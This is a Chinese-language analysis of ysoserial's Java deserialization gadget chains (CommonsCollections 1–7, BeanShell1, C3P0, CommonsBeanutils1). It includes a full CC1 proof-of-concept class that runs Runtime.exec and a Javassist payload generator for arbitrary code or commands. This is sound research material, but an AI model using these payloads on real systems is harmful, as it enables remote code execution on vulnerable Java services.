ysoserial
0x01 储备
ysoserial基于不同的依赖提供了命令执行、URLDNS请求等。POC有依赖第三方Commons系列,不依赖第三方的JDK7U21等。
Gadget chain
在这里将Gadget chain分成两部分,一部分是代码执行链,一部分是反序列化触发链。其中有一些POC严格意义上来说并不是一个Gadget chain,例如URLDNS就是一个参数不可变的一次URLDNS请求。因此在研究URLDNS的时候,主要是研究它的反序列化触发链。
代码执行链
阅读ysoserial-0.0.6源码后发现主要有两种任意代码执行方式:
- Transformers-Objects
利用可控的反射机制,构造出任意类任意函数的调用。 - Javassist+defineClass
利用可控的defineClass函数的byte数组(payload)+Javassist在静态块中插桩。
Transformers-Objects
几个常利用的transformer类:
- Transformer
一个接口,只有一个待实现的方法。 - ConstantTransformer
实现了Transformer接口的一个类,作用是构造函数时传入一个对象并在执行回调的时候将这个对象返回。 - InvokerTransformer
实现了Transformer接口的一个类,需要的参数有三个:iMethodName
(方法名),iParamTypes
(参数类型),iArgs
(参数),作用是执行任意方法,也是反序列化能执行任意代码的关键。 - InstantiateTransformer
实现了Transformer接口的一个类,作用是获取传入的类的构造函数。 - ChainedTransformer
实现了Transformer接口的一个类,作用是将多个Transformer构建成一个链。
Javassist+defineClass
在这里主要分析ysoserial中的Gadgets.java
:
反序列化触发链
- 如果是通过Transformers-Objects实现代码执行的再要想触发代码执行链,就得找到调用
transform()
的地方。排除掉xxxTransformer类,最有可能被利用的LazyMap.get
和TransformerMap.checkSetVaule
。再往源头走,Jdk8u76以前可以利用的有AnnotationInvocationHandler
,在这之后的JDK8高版本ysoserial中用到的有比如BadAttributeValueExpException
等等。 - 如果是通过Javassist+defineClass实现代码执行的想要触发defineClass,就得找到能够对接收的恶意class做实例化操作的类。ysoserial用到了
TrAXFilter
等等相同效果的类。具体的在具体POC会讲到。
0x02 POC in ysoserial
CommonsCollections
CC1
条件:
- CommonsCollections-3.1
- JDK≤7
首先看一下ysoserial给出的CC1的gadget:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
从上面可以看到从ChianedTransformer.transform()
开始后面就是实现任意类任意函数执行的代码执行链了,因为要让代码执行链触发必定要找到所依赖的库中某些特定的类及特定的方法,而这些方法构成的链姑且称之为反序列化触发链。
CC1反序列化触发链
逆着看,首先需要触发transform
以达到执行写好的反射执行链,cc1中用到的是LazyMap.get
,在这里将transformerChain
包装LazyMap
,即可利用LazyMap.get
中的transform
执行反射执行链(其实也可以用transformedMap.checkValue
)。
到寻找get
的触发点了,cc1中用到的是AnnotationInvocationHandler.invoke
,假如在此处将memberValues
设置为构造好的LazyMap
实例,就会触发该利用链的执行。相关代码:
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
// ...
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
// ...
}
要想调用Invoke
函数,Java作为一门静态语言要想劫持一个对象的内部方法调用,需要用到动态代理机制,在该机制下被代理的实例无论调用什么方法都会首先调用Invoke
函数。java.reflect.Proxy
:
Map proxyMap = (Map) Proxy.newProxyInstance(Map.calss.getClassLoader(), new Class[] {Map.class}, handler);
那么用Proxy
动态代理AnnotionInvocationHandler
,并且将memberValues
设置为LazyMap
。那么在readObject
的时候,只要调用任意方法就会进入到AnnotionInvocationHandler#invoke
方法中从而触发LazyMap.get
。
总结一下就是就是:
AnnotationInvocationHandler.readObject()
->memberValues.entrySet()
->AnnotationInvocationHandler.invoke()
->memberVaules.get() => LazyMap.get()
->factory.transform() => ChainedTransformer.transform()
->iTransformers[].transform()
//eg:java.lang.Runtime.getRuntime().exec($args);
CC1代码执行链
通过InvokerTransformer
能够调用任意函数任意方法,再通过一个ChainedTransformer
多次调用transform
。
代码执行链的具体实现:
Transformer[] transformers = new Transformer[]{
//获取Runtime对象
new ConstantTransformer(Runtime.class),
//获取Runtime.getRuntime()对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
//反射调用invoke,再invoke执行Runtime.getRuntime()方法,获取Runtime实例化对象
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
//反射调用exec执行命令
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"notepad"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
其实就相当于:
//win下 notepad指c:/windwos/system32/notepad.exe
//ConstantTransformer#1
Object obj = Runtime.class;
Class cls = obj.getClass();
//InvokerTransformer#1
Method method;
method = cls.getMethod("getMethod",new Class[] {String.class, Class[].class });
obj = method.invoke(obj, new Object[] {"getRuntime", new Class[0] });
//InvokerTransformer#2
cls = obj.getClass();
method = cls.getMethod("invoke",new Class[] {Object.class, Object[].class });
obj = method.invoke(obj, new Object[] {null, new Object[0] });
//InvokerTransformer#3
cls = obj.getClass();
method = cls.getMethod("exec",new Class[] { String.class });
method.invoke(obj, new String[] { "notepad" });
手写POC:
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class MyCustom {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
/*
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"notepad"}),
*/
//反射执行,不直接获取java.lang.Runtime对象,此对象无法序列化。
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"notepad"}),
new ConstantTransformer("hello world!")//用来掩饰日志报错
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
//innerMap.put("value","xxxx");
//Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
//改为LazyMap
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
//outerMap.put("test","xxx");//向Map中插入一个新map来触发回调。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class,outerMap);
Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
//real序列化的对象,被反序列化的时候通过gadget最终执行命令执行。
handler = (InvocationHandler) construct.newInstance(Retention.class,proxymap);
//Object obj = construct.newInstance(Retention.class,outerMap);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
System.out.println(baos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
}
效果:
CC2
条件:
- CommonsCollections4-4.0
- JDK≤8
gadget of CC2:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
(通过javassist生成的payload的byte形式)RCE->exec("payload")
payload的生成在Gadgets.createTemplatesImpl中用Javassist实现
CC2和CC4是基于CommonsCollections4-4.0
的,并没有像3.2.1版本那样直接将Transformer
拉入黑名单,因此改一改还是可以用的。
而此依赖下的代码执行链都是用的Gadgets.java
中的createTemplatesImpl
返回的TemplatesImpl
作为代码执行的调用。反序列化触发链也是用的新类PriorityQueue
的Comparator
来触发transform
函数的。
CC2反序列化触发链
从代码执行链逆着看:
从Gadgets.createTampletsImpl
返回的tampletsImpl
先用InvokerTransformer
进行一个toString
的填充将其变成一个transformer
对象(避免POC执行两次),后面再newTranformer
一次。
要想触发transform()
,这里使用的是一个TransformingComparator.compare()
方法
而触发compare()
用到了PriorityQueue.siftDownUsingComparator()
,那么就要将transformer
构造到一个PriorityQueue
队列中去。PriorityQueue
是一个有优先级的队列,第一个参数为队列大小,这里设置容量大于1即可。第二个参数为使用的Compare
比较器。
而PriorityQueue
在readObject()
的时候会自动调用这个函数。经过测试,序列化的queue
是能触发代码执行的。
CC2代码执行链
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();//实例化
// use template gadget class
//单例化
ClassPool pool = ClassPool.getDefault();
//StubTransletPayload是作者写的继承自AbstractTranslate的一个添加了Serializable接口的类,也就是我们要插入payload的类。
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
//取出要操作的类
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
// ysoserial作者在这里留的话,可以改造以达到命令执行->代码执行,用来突破一些命令被BAN的现象。
String cmd = "";
//自定义代码块
if(command.startsWith("code:")){
System.err.println("Java代码为:"+command.substring(5));
cmd = command.substring(5);
//代码文件
}else if(command.startsWith("codefile:")){
String codefile = command.substring(9);
try{
File file = new File(codefile);
if(file.exists()){
FileReader reader = new FileReader(file);
BufferedReader br = new BufferedReader(reader);
StringBuffer sb = new StringBuffer("");
String line= "";
while((line = br.readLine()) != null){
sb.append(line);
sb.append("\r\n");
}
cmd = sb.toString();
System.err.printf("java文件中的代码为:%s\n",cmd);
}else{
System.err.printf("%s不存在!",codefile);
System.exit(0);
}
}catch (IOException e){
e.printStackTrace();
}
//命令执行
}else{
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}
//插入payload
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());//时间保证不一致
CtClass superC = pool.get(abstTranslet.getName());
//继承AbstractTranslate,因为后面要用到这个类来defineClass
clazz.setSuperclass(superC);
//转字节码
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
//插入实例
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
// _name和_tfactory后面被Im
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
CC3
条件:
- CommonsCollections-3.1
- JDK≤7
gadget of CC3:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
(TrAXFilter)Constructor.newInstance()
TemplatesImpl.newTransformer()
(通过javassist生成的payload的byte形式)RCE->exec("payload")
payload的生成在Gadgets.createTemplatesImpl中用Javassist实现
CC3反序列化触发链
这个的反序列化触发部分和CC1是一样的。
不同的地方在将InvokerTransformer
换成了InstantiateTransformer
,且后面也用到了不同的类,当继承自AbstractTranslate
的类被Javassist插桩后返回一个被修改过的templates
(_bytecodes
)并将其传给InstantiateTransformer
后,InstantiateTransformer
利用这个templates
获得的构造函数加上从ConstantTransformer
返回的TrAXFilter
类将其实例化,实例化的过程中将会调用TrAXFilter
的构造函数,从而调用TemplatesImpl.newTransformer()
。(TrAXFilter).Constructor.newInstance()
->TemplatesImpl.newTransformer()
:
CC3代码执行链
基于Javassist的恶意代码构造在CC2代码执行链中的注释中解释了。
CC4
条件:
- CommonsCollections4-4.0
- JDK≤8
gadget of CC4:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
InstantiateTransformer.transform()
(TrAXFilter)Constructor.newInstance()
TemplatesImpl.newTransformer()
RCE->exec("payload")//payload的生成在Gadgets.createTemplatesImpl中用Javassist实现
可以明显看出来,只是在InvokerTransformer
换成了InstantiateTransformer
,且后续的操作和CC3是一样的。通过触发TrAXFilter
的初始化达到调用TemplatesImpl.newTransformer()
的效果。
CC4反序列化触发链
前半段和CC2一样,只是templatesImpl
并没有使用InvokerTransformer
来操作,而是使用了和CC3一样的InstantiateTransformer
+TrAXFilter
来触发templatesImpl
的实例化。
CC4代码执行链
同CC2
CC5
条件:
- CommonsCollections-3.1
- JDK≤8
- JVM不启用
SecurityManager
gadget:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.getValue
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
JDK8版本下是无法利用CC1和CC3,这是因为在JDK8版本对AnnotationInvocationHandler
进行了修改:
其中CC1,CC3原来是将AnnotationInvocationHandler
中的memberValues
置为LazyMap
,从而触发entrySet
继而触发get
,然而JDK8这一改动直接不让我们更改对象。memberVaules
已经被限定死为LinkedHashMap
,所以就需要找一个新的类能够代替AnnotationInvocationHandler
。CC5中使用BadAttributeValueExpException
来代替。
CC5反序列化触发链
老规矩反着来,一直到触发LazyMap.get()
这里之前和CC1都是一样的。但是在函数的选择上选择了TiedMapEntry
,看图:TiedMapEntry.getValue()
->LazyMap.get()
TiedMapEntry.toString()
->TiedMapEntry,getValue()
BadAttributeValueExpException.readObject()
->TiedMapEntry.toString()
BadAttributeValueExpException
可被序列化
CC5代码执行链
同CC1
CC6
- CommonsCollections-3.1
- JDK≤8
gadget of CC6:
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put(key)
key.hashCode
TiedMapEntry.hashCode
TiedMapEntry.getValue
LazyMap.get()
factory.transform()
ChainedTransformer.transform()
Runtime.getRuntime().exec()
CC6中使用HashSet
来代替AnnotationInvocationHandler
。
CC6反序列化链
也是和CC5一样选择了TiedMapEntry
,不过并不是通过TiedMapEntry.getValue()
触发LazyMap.get()
,而是通过TiedMapEntry.hashCode()
触发的。
构造一个hashset
实例,拿到该hashset
的map属性(hashmap
)。再接着拿hashmap
的table
属性,然后在table
中存储节点属性,然后通过反射拿到节点数组,最后将节点TiedMapEntry
放到该node节点的key中。
TiedMapEntry.hashCode()
->LazyMap.get()
HashMap.put
->TiedMapEntry.hashCode()
HashSet.readObject()
->HashMap.put
总结一下就是:
- 实例化一个
HashSet
实例 - 通过反射机制获取
HashSet
的map类属性 - 通过反射机制获取
HashMap
(map类属性)的table(Node)类属性 - 通过反射机制获取
Node
的key类属性,并设置该值为构造好的TiedMapEntry
实例
CC6代码执行链
同CC1
CC7
- CommonsCollections-3.1
- JDK≤8
gadget of CC7:
ObjectInputStream.readObject()
Hashtable.readObject()
Hashtable.reconstitutionPut
LazyMap.equals
AbstractMapDecorator.equals
AbstractMap.equals
m.get()
LazyMap.get()
factory.transform()
ChainedTransformer.transform()
Runtime.getRuntime().exec()
不同于CC5和CC6,CC7并没有使用TiedMapEntry
,而是使用的Hashtable
,利用key的hash冲突来触发equals
函数,该函数会调用LazyMap.get
。
CC7反序列化触发链
String.hashCode
的计算方法存在不同字符串相同hash的可能性,CC7就是利用这一点来制造哈希冲突。
构造两个HashMap
再经过LazyMap
的修饰后放进HashTable
:lazyMap1
放入<”yy”,1>,lazyMap2
放入<”zZ”,1>,然后再放入hashtable。此时是正常的
因为这里hashtable
放进第二个lazymap
时,因为两个lazymap
的hash相同,所以将把第一个lazymap
的key值yy放到第二个lazymap中(首先lazymap.get(“yy”)尝试从第二个lazymap
中拿),此时将导致lazymap2
中新添加<”yy”,1>
在这里进行移除Lazymap2
的yy键值对
因为之前构造payload的时候已经移除了第二个lazymap中yy->yy键值对,因此此时两个lazymap的空间大小一致都为1
并且此时传入了我们构造的payload,再触发transform
。完成
CC7代码执行链
同CC1
其他POC
BeanShell1
BeanShell
是一个小型嵌入式Java源代码解释器,具有对象脚本语言特性,能够动态地执行标准JAVA语法,并利用JavaScript和Perl中常见的松散类型、命令、闭包等通用脚本来对其进行拓展。BeanShell
不仅仅可以通过运行其内部的脚本来处理Java应用程序,还可以在运行过程中动态执行Java代码。因为BeanShell
是用java写的,运行在同一个JVM的应用程序,因此可以自由地引用对象脚本并返回结果。
而BeanShell
都是通过创建一个Interpreter
从而利用Interpreter.eval()
来执行代码或脚本的。
gadget of BeanShell1:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.SiftDownUsingComparator()
comparator.compare()->Xthis.invocationHandler
Handler.invoke()
invokeImpl()
invokeMethod()
bshMethod.invoe()
Interpreter.eval()创建的函数
compare(...,...){java.lang.ProcessBuilder(payload).start()...}
Bsh反序列化触发链
PriorityQueue.readObject()
触发了自创建的Comparator.comre()
,这部分在CC2中是相同的。创建一个Xthis
实例并将Interpreter和其命名空间传进去,而由于Comparator
被Xthis
里的invovationHandler
代理了,而前面我们知道被代理的函数被触发时会执行handler
的invoke函数。而Xthis
里的Handler
里的invoke
又会去执行invokeImpl
,从而触发bshMethod.invoke
,最后即执行beanShell
中Interpreter
创建的自定函数了。
Bsh代码执行链
用beanShell
的Interpreter.invoke()
创建任意代码执行,这是beanshell
的特性。
C3P0
C3P0
是一个开源的JDBC连接池,实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展
gadget of C3P0:
PoolBackedDataSourceBase.writeObject()
Indirector.indirectForm()
PoolBackedDataSourceBase.readObject()
ReferenceIndirector.getObject()
ReferenceableUtils.referenceToObject()
Exploit.newInstance()
内部是自定义的代码
C3P0反序列化触发链
首先创建了一个PoolBackedDataSource
实例(反射获取会比直接构造大小要小),然后再将本地重写的PoolSource
赋值给该类的connectionPoolDataSource
成员方法,其中重写的PoolSource
中有引用远程地址实例。
我们传过去的PoolSource
是不支持序列化的,所以在PoolBackedDataSourceBase.writeObject()
中会跳转到Indirector.indirectForm()
返回带有我们写的远程调用地址实例的reference
的可序列化的对象。接着再到readObjct()
,从而跳转到ReferenceableUtils.referenceToObject()
。在这里通过反射获取到远程地址上的类并实例化从而执行我们写的任意代码。
C3P0代码执行链
由于是远程地址的类加载,所以是直接写任意代码。不需要到反射链来达到任意代码执行。
Clojure
Clojure
是运行在Java平台上的Lisp
语言。
Clojure反序列化触发链
Clojure代码执行链
CommonsBeanutils1
CommonsBeanutils1反序列化触发链
ObjectInputStream.readObject()->
PriorityQueue.readObject()->
PriorityQueue.heapify()->
BeanComparator.compare()->
PropertyUtils.getProperty()->
TemplatesImpl.getOutputProperties()->
任意代码执行
CommonsBeanutils1代码执行链
继承AbstractTranslet的恶意类的静态代码块自动执行.
�